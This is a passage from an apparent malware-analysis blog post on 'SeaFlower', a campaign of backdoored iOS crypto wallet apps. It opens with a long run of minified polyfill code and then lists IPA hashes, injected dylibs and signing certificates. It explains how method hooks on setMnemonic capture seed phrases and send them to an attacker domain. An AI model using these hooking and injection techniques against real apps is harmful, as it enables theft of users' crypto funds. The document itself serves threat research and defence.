(d[135]),r(d[136]),r(d[137]),r(d[138]),r(d[139]),r(d[140]),r(d[141]),r(d[142]),r(d[143]),r(d[144]),r(d[145]),r(d[146]),r(d[147]),r(d[148]),r(d[149]),r(d[150]),r(d[151]),r(d[152]),r(d[153]),r(d[154]),r(d[155]),r(d[156]),r(d[157]),r(d[158]),r(d[159]),r(d[160]),r(d[161]),r(d[162]),r(d[163]),r(d[164]),r(d[165]),r(d[166]),r(d[167]),r(d[168]),r(d[169]),r(d[170]),r(d[171]),r(d[172]),r(d[173]),r(d[174]),r(d[175]),r(d[176]),r(d[177]),r(d[178]),r(d[179]),r(d[180]),r(d[181]),r(d[182]),r(d[183]),r(d[184]),r(d[185]),r(d[186]),r(d[187]),r(d[188]),r(d[189]),r(d[190]),r(d[191]),r(d[192]),r(d[193]),r(d[194]),r(d[195]),r(d[196]),m.exports=r(d[197])},3,[4,54,55,56,57,59,61,62,63,64,65,66,67,68,69,71,73,75,77,80,81,82,86,88,90,93,94,95,96,98,99,100,101,102,103,104,106,107,108,110,111,112,114,116,117,118,119,120,121,122,123,124,125,126,127,128,133,134,138,139,140,141,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,159,160,162,163,169,170,172,173,174,178,179,180,181,182,184,185,186,187,190,192,193,194,196,198,200,202,203,204,208,209,210,212,222,226,227,229,230,234,235,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,263,264,265,267,268,269,270,271,272,273,274,276,277,279,280,281,282,285,286,288,289,290,291,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,313,314,316,317,318,319,320,321,322,323,324,325,326,327,328,10]); | |
__d(function(g,r,i,a,m,e,d){‘use strict’;g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3]),f=r(d[4]),u=r(d[5]).KEY,s=r(d[6]),c=r(d[7]),p=r(d[8]),l=r(d[9]),y=r(d[10]),h=r(d[11]),b=r(d[12]),v=r(d[13]),S=r(d[14]),O=r(d[15]),P=r(d[16]),w=r(d[17]),F=r(d[18]),j=r(d[19]),E=r(d[20]),N=r(d[21]),_=r(d[22]),J=r(d[23]),k=r(d[24]),I=r(d[25]),T=r(d[26]),C=J.f,M=I.f,D=_.f,G=g.Symbol,K=g.JSON,Q=K&&K.stringify,W=y(‘_hidden’),Y=y(‘toPrimitive’),q={}.propertyIsEnumerable,x=c(‘symbol-registry’),z=c(‘symbols’),A=c(‘op-symbols’),B=Object.prototype,H=‘function’==typeof G&&!!k.f,L=g.QObject,R=!L||!L.prototype||!L.prototype.findChild,U=n&&s(function(){return 7!=N(M({},‘a’,{get:function(){return M(this,‘a’,{value:7}).a}})).a})?function(t,n,o){var f=C(B,n);f&&delete B[n],M(t,n,o),f&&t!==B&&M(B,n,f)}:M,V=function(t){var n=z[t]=N(G.prototype);return n._k=t,n},X=H&&‘symbol’==typeof G.iterator?function(t){return‘symbol’==typeof t}:function(t){return t instanceof G},Z=function(n,o,f){return n===B&&Z(A,o,f),O(n),o=j(o,!0),O(f),t(z,o)?(f.enumerable?(t(n,W)&&n[W][o]&&(n[W][o]=!1),f=N(f,{enumerable:E(0,!1)})):(t(n,W)||M(n,W,E(1,{})),n[W][o]=!0),U(n,o,f)):M(n,o,f)},$=function(t,n){O(t);for(var o,f=v(n=F(n)),u=0,s=f.length;s>u;)Z(t,o=f[u++],n[o]);return t},tt=function(n){var o=q.call(this,n=j(n,!0));return!(this===B&&t(z,n)&&!t(A,n))&&(!(o||!t(this,n)||!t(z,n)||t(this,W)&&this[W][n])||o)},rt=function(n,o){if(n=F(n),o=j(o,!0),n!==B||!t(z,o)||t(A,o)){var f=C(n,o);return!f||!t(z,o)||t(n,W)&&n[W][o]||(f.enumerable=!0),f}},nt=function(n){for(var o,f=D(F(n)),s=[],c=0;f.length>c;)t(z,o=f[c++])||o==W||o==u||s.push(o);return s},et=function(n){for(var o,f=n===B,u=D(f?A:F(n)),s=[],c=0;u.length>c;)!t(z,o=u[c++])||f&&!t(B,o)||s.push(z[o]);return s};H||(f((G=function(){if(this instanceof G)throw TypeError(‘Symbol is not a constructor!’);var o=l(arguments.length>0?arguments[0]:void 0);return n&&R&&U(B,o,{configurable:!0,set:function n(f){this===B&&n.call(A,f),t(this,W)&&t(this[W],o)&&(this[W][o]=!1),U(this,o,E(1,f))}}),V(o)}).prototype,‘toString’,function(){return this._k}),J.f=rt,I.f=Z,r(d[27]).f=_.f=nt,r(d[28]).f=tt,k.f=et,n&&!r(d[29])&&f(B,‘propertyIsEnumerable’,tt,!0),h.f=function(t){return V(y(t))}),o(o.G+o.W+o.F*!H,{Symbol:G});for(var ot=‘hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables’.split(‘,’),it=0;ot.length>it;)y(ot[it++]);for(var ft=T(y.store),ut=0;ft.length>ut;)b(ft[ut++]);o(o.S+o.F*!H,‘Symbol’,{for:function(n){return t(x,n+=”)?x[n]:x[n]=G(n)},keyFor:function(t){if(!X(t))throw TypeError(t+‘ is not a symbol!’);for(var n in x)if(x[n]===t)return n},useSetter:function(){R=!0},useSimple:function(){R=!1}}),o(o.S+o.F*!H,‘Object’,{create:function(t,n){return void 0===n?N(t):$(N(t),n)},defineProperty:Z,defineProperties:$,getOwnPropertyDescriptor:rt,getOwnPropertyNames:nt,getOwnPropertySymbols:et});var st=s(function(){k.f(1)});o(o.S+o.F*st,‘Object’,{getOwnPropertySymbols:function(t){return k.f(w(t))}}),K&&o(o.S+o.F*(!H||s(function(){var t=G();return‘[null]’!=Q([t])||‘{}’!=Q({a:t})||‘{}’!=Q(Object(t))})),‘JSON’,{stringify:function(t){for(var n,o,f=[t],u=1;arguments.length>u;)f.push(arguments[u++]);if(o=n=f[1],(P(n)||void 0!==t)&&!X(t))return S(n)||(n=function(t,n){if(‘function’==typeof o&&(n=o.call(this,t,n)),!X(n))return n}),f[1]=n,Q.apply(K,f)}}),G.prototype[Y]||r(d[30])(G.prototype,Y,G.prototype.valueOf),p(G,‘Symbol’),p(Math,‘Math’,!0),p(g.JSON,‘JSON’,!0)},4,[5,6,7,9,19,26,8,22,27,20,28,29,30,31,46,13,14,47,34,17,18,48,51,53,44,12,32,52,45,23,11]); | |
__d(function(g,r,i,a,m,e,d){g=m.exports=‘undefined’!=typeof window&&window.Math==Math?window:‘undefined’!=typeof self&&self.Math==Math?self:Function(‘return this’)();‘number’==typeof __g&&(__g=g)},5,[]); | |
__d(function(g,r,i,a,m,e,d){var n={}.hasOwnProperty;m.exports=function(t,o){return n.call(t,o)}},6,[]); | |
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])(function(){return 7!=Object.defineProperty({},‘a’,{get:function(){return 7}}).a})},7,[8]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(t){try{return!!t()}catch(t){return!0}}},8,[]); | |
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),t=r(d[2]),n=r(d[3]),p=r(d[4]),c=function c(f,u,y){var v,F,l,B,G=f&c.F,P=f&c.G,S=f&c.P,U=f&c.B,_=P?g:f&c.S?g[u]||(g[u]={}):(g[u]||{}).prototype,s=P?o:o[u]||(o[u]={}),x=s.prototype||(s.prototype={});for(v in P&&(y=u),y)l=((F=!G&&_&&void 0!==_[v])?_:y)[v],B=U&&F?p(l,g):S&&‘function’==typeof l?p(Function.call,l):l,_&&n(_,v,l,f&c.U),s[v]!=l&&t(s,v,B),S&&x[v]!=l&&(x[v]=l)};g.core=o,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,m.exports=c},9,[5,10,11,19,24]); | |
__d(function(g,r,i,a,m,e,d){var _=m.exports={version:‘2.6.11’};‘number’==typeof __e&&(__e=_)},10,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=r(d[2])?function(u,f,o){return n.f(u,f,t(1,o))}:function(n,t,u){return n[t]=u,n}},11,[12,18,7]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=Object.defineProperty;e.f=r(d[3])?Object.defineProperty:function(f,u,p){if(t(f),u=o(u,!0),t(p),n)try{return c(f,u,p)}catch(t){}if(‘get’in p||‘set’in p)throw TypeError(‘Accessors not supported!’);return‘value’in p&&(f[u]=p.value),f}},12,[13,15,17,7]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(o){if(!n(o))throw TypeError(o+‘ is not an object!’);return o}},13,[14]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return‘object’==typeof n?null!==n:‘function’==typeof n}},14,[]); | |
__d(function(g,r,i,a,m,e,d){m.exports=!r(d[0])&&!r(d[1])(function(){return 7!=Object.defineProperty(r(d[2])(‘div’),‘a’,{get:function(){return 7}}).a})},15,[7,8,16]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).document,c=t(n)&&t(n.createElement);m.exports=function(t){return c?n.createElement(t):{}}},16,[14,5]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=function(n,o){if(!t(n))return n;var f,u;if(o&&‘function’==typeof(f=n.toString)&&!t(u=f.call(n)))return u;if(‘function’==typeof(f=n.valueOf)&&!t(u=f.call(n)))return u;if(!o&&‘function’==typeof(f=n.toString)&&!t(u=f.call(n)))return u;throw TypeError(“Can’t convert object to primitive value”)}},17,[14]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(n,u){return{enumerable:!(1&n),configurable:!(2&n),writable:!(4&n),value:u}}},18,[]); | |
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var t=r(d[1]),n=r(d[2]),o=r(d[3])(‘src’),c=r(d[4]),u=(”+c).split(“toString”);r(d[5]).inspectSource=function(t){return c.call(t)},(m.exports=function(c,f,p,s){var l=‘function’==typeof p;l&&(n(p,‘name’)||t(p,‘name’,f)),c[f]!==p&&(l&&(n(p,o)||t(p,o,c[f]?”+c[f]:u.join(String(f)))),c===g?c[f]=p:s?c[f]?c[f]=p:t(c,f,p):(delete c[f],t(c,f,p)))})(Function.prototype,“toString”,function(){return‘function’==typeof this&&this[o]||c.call(this)})},19,[5,11,6,20,21,10]); | |
__d(function(g,r,i,a,m,e,d){var n=0,o=Math.random();m.exports=function(t){return‘Symbol(‘.concat(void 0===t?”:t,‘)_’,(++n+o).toString(36))}},20,[]); | |
__d(function(g,r,i,a,m,e,d){m.exports=r(d[0])(‘native-function-to-string’,Function.toString)},21,[22]); | |
__d(function(g,r,i,a,m,e,d){var o=r(d[0]),s=(g=r(d[1]))[“__core-js_shared__”]||(g[“__core-js_shared__”]={});(m.exports=function(o,_){return s[o]||(s[o]=void 0!==_?_:{})})(‘versions’,[]).push({version:o.version,mode:r(d[2])?‘pure’:‘global’,copyright:‘\xa9 2019 Denis Pushkarev (zloirock.ru)’})},22,[10,5,23]); | |
__d(function(g,r,i,a,m,e,d){m.exports=!1},23,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t,u,c){if(n(t),void 0===u)return t;switch(c){case 1:return function(n){return t.call(u,n)};case 2:return function(n,c){return t.call(u,n,c)};case 3:return function(n,c,o){return t.call(u,n,c,o)}}return function(){return t.apply(u,arguments)}}},24,[25]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(n){if(‘function’!=typeof n)throw TypeError(n+‘ is not a function!’);return n}},25,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘meta’),t=r(d[1]),f=r(d[2]),u=r(d[3]).f,o=0,c=Object.isExtensible||function(){return!0},s=!r(d[4])(function(){return c(Object.preventExtensions({}))}),E=function(t){u(t,n,{value:{i:‘O’+ ++o,w:{}}})},b=m.exports={KEY:n,NEED:!1,fastKey:function(u,o){if(!t(u))return‘symbol’==typeof u?u:(‘string’==typeof u?‘S’:‘P’)+u;if(!f(u,n)){if(!c(u))return‘F’;if(!o)return‘E’;E(u)}return u[n].i},getWeak:function(t,u){if(!f(t,n)){if(!c(t))return!0;if(!u)return!1;E(t)}return t[n].w},onFreeze:function(t){return s&&b.NEED&&c(t)&&!f(t,n)&&E(t),t}}},26,[20,14,6,12,8]); | |
__d(function(g,r,i,a,m,e,d){var o=r(d[0]).f,t=r(d[1]),n=r(d[2])(‘toStringTag’);m.exports=function(f,u,c){f&&!t(f=c?f:f.prototype,n)&&o(f,n,{configurable:!0,value:u})}},27,[12,6,28]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘wks’),o=r(d[1]),t=r(d[2]).Symbol,f=‘function’==typeof t;(m.exports=function(u){return n[u]||(n[u]=f&&(“function”==typeof t?t[u]:“@@name”)||(f?t:o)(‘Symbol.’+u))}).store=n},28,[22,20,5]); | |
__d(function(g,r,i,a,m,e,d){e.f=r(d[0])},29,[28]); | |
__d(function(g,r,i,a,m,e,d){g=r(d[0]);var o=r(d[1]),n=r(d[2]),f=r(d[3]),l=r(d[4]).f;m.exports=function(t){var b=o.Symbol||(o.Symbol=n?{}:g.Symbol||{});‘_’==t.charAt(0)||t in b||l(b,t,{value:f.f(t)})}},30,[5,10,23,29,12]); | |
__d(function(g,r,i,a,m,e,d){var f=r(d[0]),n=r(d[1]),t=r(d[2]);m.exports=function(o){var u=f(o),c=n.f;if(c)for(var l,v=c(o),h=t.f,p=0;v.length>p;)h.call(o,l=v[p++])&&u.push(l);return u}},31,[32,44,45]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=Object.keys||function(c){return n(c,t)}},32,[33,43]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),o=r(d[1]),t=r(d[2])(!1),u=r(d[3])(‘IE_PROTO’);m.exports=function(f,h){var p,s=o(f),_=0,c=[];for(p in s)p!=u&&n(s,p)&&c.push(p);for(;h.length>_;)n(s,p=h[_++])&&(~t(c,p)||c.push(p));return c}},33,[6,34,38,42]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);m.exports=function(o){return n(t(o))}},34,[35,37]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]);m.exports=Object(‘z’).propertyIsEnumerable(0)?Object:function(n){return‘String’==t(n)?n.split(”):Object(n)}},35,[36]); | |
__d(function(g,r,i,a,m,e,d){var n={}.toString;m.exports=function(t){return n.call(t).slice(8,–1)}},36,[]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(o){if(void 0==o)throw TypeError(“Can’t call method on “+o);return o}},37,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=function(u){return function(o,c,l){var s,v=n(o),_=t(v.length),h=f(l,_);if(u&&c!=c){for(;_>h;)if((s=v[h++])!=s)return!0}else for(;_>h;h++)if((u||h in v)&&v[h]===c)return u||h||0;return!u&&–1}}},38,[34,39,41]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.min;m.exports=function(o){return o>0?t(n(o),9007199254740991):0}},39,[40]); | |
__d(function(g,r,i,a,m,e,d){var t=Math.ceil,n=Math.floor;m.exports=function(o){return isNaN(o=+o)?0:(o>0?n:t)(o)}},40,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=Math.max,o=Math.min;m.exports=function(u,c){return(u=n(u))<0?t(u+c,0):o(u,c)}},41,[40]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0])(‘keys’),t=r(d[1]);m.exports=function(o){return n[o]||(n[o]=t(o))}},42,[22,20]); | |
__d(function(g,r,i,a,m,e,d){m.exports=‘constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf’.split(‘,’)},43,[]); | |
__d(function(g,r,i,a,m,e,d){e.f=Object.getOwnPropertySymbols},44,[]); | |
__d(function(g,r,i,a,m,e,d){e.f={}.propertyIsEnumerable},45,[]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=Array.isArray||function(t){return‘Array’==n(t)}},46,[36]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);m.exports=function(t){return Object(n(t))}},47,[37]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]),o=r(d[2]),c=r(d[3])(‘IE_PROTO’),p=function(){},l=function(){var t,n=r(d[4])(‘iframe’),c=o.length;for(n.style.display=‘none’,r(d[5]).appendChild(n),n.src=‘javascript:’,(t=n.contentWindow.document).open(),t.write(“<script>document.F=Object<\/script>”),t.close(),l=t.F;c—;)delete l.prototype[o[c]];return l()};m.exports=Object.create||function(o,u){var s;return null!==o?(p.prototype=t(o),s=new p,p.prototype=null,s[c]=o):s=l(),void 0===u?s:n(s,u)}},48,[13,49,43,42,16,50]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]),f=r(d[2]);m.exports=r(d[3])?Object.defineProperties:function(o,c){t(o);for(var u,p=f(c),s=p.length,v=0;s>v;)n.f(o,u=p[v++],c[u]);return o}},49,[12,13,32,7]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]).document;m.exports=n&&n.documentElement},50,[5]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).f,o={}.toString,c=‘object’==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[],w=function(t){try{return n(t)}catch(t){return c.slice()}};m.exports.f=function(f){return c&&‘[object Window]’==o.call(f)?w(f):n(t(f))}},51,[34,52]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),n=r(d[1]).concat(‘length’,‘prototype’);e.f=Object.getOwnPropertyNames||function(o){return t(o,n)}},52,[33,43]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]),f=r(d[3]),o=r(d[4]),u=r(d[5]),l=Object.getOwnPropertyDescriptor;e.f=r(d[6])?l:function(p,y){if(p=n(p),y=f(y,!0),u)try{return l(p,y)}catch(t){}if(o(p,y))return c(!t.f.call(p,y),p[y])}},53,[45,18,34,17,6,15,7]); | |
__d(function(g,r,i,a,m,e,d){var c=r(d[0]);c(c.S,‘Object’,{create:r(d[1])})},54,[9,48]); | |
__d(function(g,r,i,a,m,e,d){var f=r(d[0]);f(f.S+f.F*!r(d[1]),‘Object’,{defineProperty:r(d[2]).f})},55,[9,7,12]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F*!r(d[1]),‘Object’,{defineProperties:r(d[2])})},56,[9,7,49]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).f;r(d[2])(‘getOwnPropertyDescriptor’,function(){return function(o,u){return t(n(o),u)}})},57,[34,53,58]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),c=r(d[1]),n=r(d[2]);m.exports=function(o,b){var f=(c.Object||{})[o]||Object[o],j={};j[o]=b(f),t(t.S+t.F*n(function(){f(1)}),‘Object’,j)}},58,[9,10,8]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])(‘getPrototypeOf’,function(){return function(o){return t(n(o))}})},59,[47,60,58]); | |
__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]),n=r(d[2])(‘IE_PROTO’),c=Object.prototype;m.exports=Object.getPrototypeOf||function(u){return u=o(u),t(u,n)?u[n]:‘function’==typeof u.constructor&&u instanceof u.constructor?u.constructor.prototype:u instanceof Object?c:null}},60,[6,47,42]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]);r(d[2])(‘keys’,function(){return function(u){return t(n(u))}})},61,[47,32,58]); | |
__d(function(g,r,i,a,m,e,d){r(d[0])(‘getOwnPropertyNames’,function(){return r(d[1]).f})},62,[58,51]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘freeze’,function(u){return function(f){return u&&n(f)?u(t(f)):f}})},63,[14,26,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘seal’,function(u){return function(o){return u&&n(o)?u(t(o)):o}})},64,[14,26,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]),t=r(d[1]).onFreeze;r(d[2])(‘preventExtensions’,function(o){return function(u){return o&&n(u)?o(t(u)):u}})},65,[14,26,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isFrozen’,function(t){return function(u){return!n(u)||!!t&&t(u)}})},66,[14,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isSealed’,function(t){return function(u){return!n(u)||!!t&&t(u)}})},67,[14,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1])(‘isExtensible’,function(t){return function(u){return!!n(u)&&(!t||t(u))}})},68,[14,58]); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);n(n.S+n.F,‘Object’,{assign:r(d[1])})},69,[9,70]); | |
__d(function(g,r,i,a,m,e,d){‘use strict’;var n=r(d[0]),t=r(d[1]),c=r(d[2]),o=r(d[3]),f=r(d[4]),s=r(d[5]),l=Object.assign;m.exports=!l||r(d[6])(function(){var n={},t={},c=Symbol(),o=‘abcdefghijklmnopqrst’;return n[c]=7,o.split(”).forEach(function(n){t[n]=n}),7!=l({},n)[c]||Object.keys(l({},t)).join(”)!=o})?function(l,u){for(var b=f(l),h=arguments.length,j=1,v=c.f,p=o.f;h>j;)for(var k,y=s(arguments[j++]),O=v?t(y).concat(v(y)):t(y),_=O.length,q=0;_>q;)k=O[q++],n&&!p.call(y,k)||(b[k]=y[k]);return b} |
Coinbase Wallet iOS app
SHA-256 of the .IPA: 2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e2
A single injected dylib
libWalletDylib.dylib
was used, below output of otool -L
:
@executable_path/Frameworks/libWalletDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
This .dylib is signed with Developper ID certificate: iPhone Distribution: Universitas Muhammadiyah Malang (9MJG6A8RD7
) and Team-ID 9MJG6A8RD7
Dumping the strings, we found the same author macOS username “lanyu”, as in the metamask Wallet iOS app, confirming we are dealing with the same author, and also confirmed the usage of the same Monkeydev xcode templates:
.dylib
:
MSHookMessageEx()
hooks at multiple ViewControllers of the app, calling back specific backdoor code methods each time:
imToken Wallet iOS app:
SHA-256 of the .IPA: 1e232c74082e4d72c86e44f1399643ffb6f7836805c9ba4b4235fedbeeb8bdca
Similar to the Coinbase iOS wallet, one .dylib
libimtokenhookDylib.dylib
was injected:
@executable_path/Frameworks/libimtokenhookDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
This .dylib
is signed with Developper ID certificate : Sjdbfbd Jdjffb (9J3Q9W2QG2
) and Team-ID 9J3Q9W2QG2
We also found reference to the same macOS username “lanyu” and references to the MonkeyDev framework:
The backdoor was hidden and encrypted same as in the Metamask iOS wallet and I found the exact same backdoor React Native bundle that was loaded. We noticed additional hooks via MSHookMessageEx()
were added to the RCTJavaScriptLoader
, ensuring eventually the loading of the backdoor React Native bundle:
So it seems the Author didn’t do anything specific for imToken Wallet iOS app.
TokenPocket iOS Wallet:
SHA-256 of the .IPA file: 46002ac5a0caaa2617371bddbdbc7eca74cd9cb48878da0d3218a78d5be7a53a
A single “.dylib
libpocketDylib.dylib` was injected:
@executable_path/Frameworks/libpocketDylib.dylib (compatibility version 0.0.0, current version 0.0.0)
This .dylib is signed with Developper ID certificate: hang Bai (GNY64NUGXC
):
Authority=iPhone Distribution: hang Bai (GNY64NUGXC)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=Mar 3, 2022 at 5:06:06 PM
Info.plist=not bound
TeamIdentifier=GNY64NUGXC
A new author macOS username leaked named “trader”, we also confirmed the usage of the MonkeyDev Framework:
Logos tweaks are used, in particular hooks to setMnemonic:
were added:
The captured seed phrase is sent to a domain controlled by the attacker:
Some Final thoughts about SeaFlower:
What I liked about this cluster of activity, is the fact that it is unique, it is web3 related, and not reported before. It seems there was a lot of efforts in the iOS side of things, for example setting up provisioning profiles, automatic deployments, sophisticated backdoor code, etc. More work has been done compared to the Android side of things.
There are some notable challenges when it comes to SeaFlower attribution, for example figuring out if the provisioning servers are run by the same group, and also identifying more initial vectors of the attack beside the Chinese search engines. All these are difficult challenges due to the geographical and language barrier aspects.
We are planning to release sometime in the near future a part 2 of this blog post, where we will do a deep dive into the infrastructure used by SeaFlower and add more elements of attribution.
General security recommendations:
For Web3 Wallet developers
Definitely not an easy one when it comes to protecting crypto-related software like mobile web3 wallets used by millions of people.
What we write in this section won’t prevent a skilled or determined attacker from tampering with your apps, but there are some easy fixes that could cost money and time to your attackers.
First of all, know and understand your attack surface (hopefully this blog can help), as well as reading “iOS Tampering and Reverse Engineering” document which lists different attack surfaces crypto wallets could be exposed to.
Secondly, make your stuff harder to break 🙂 Detecting inline hooks, injected libraries, detecting instrumentation tools, etc.. are well-known and documented topics.
For Web3 users
Always download mobile apps from official stores: Apple AppStore & Play Store.
Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post, they allow the download of unverified software that could potentially steal your crypto.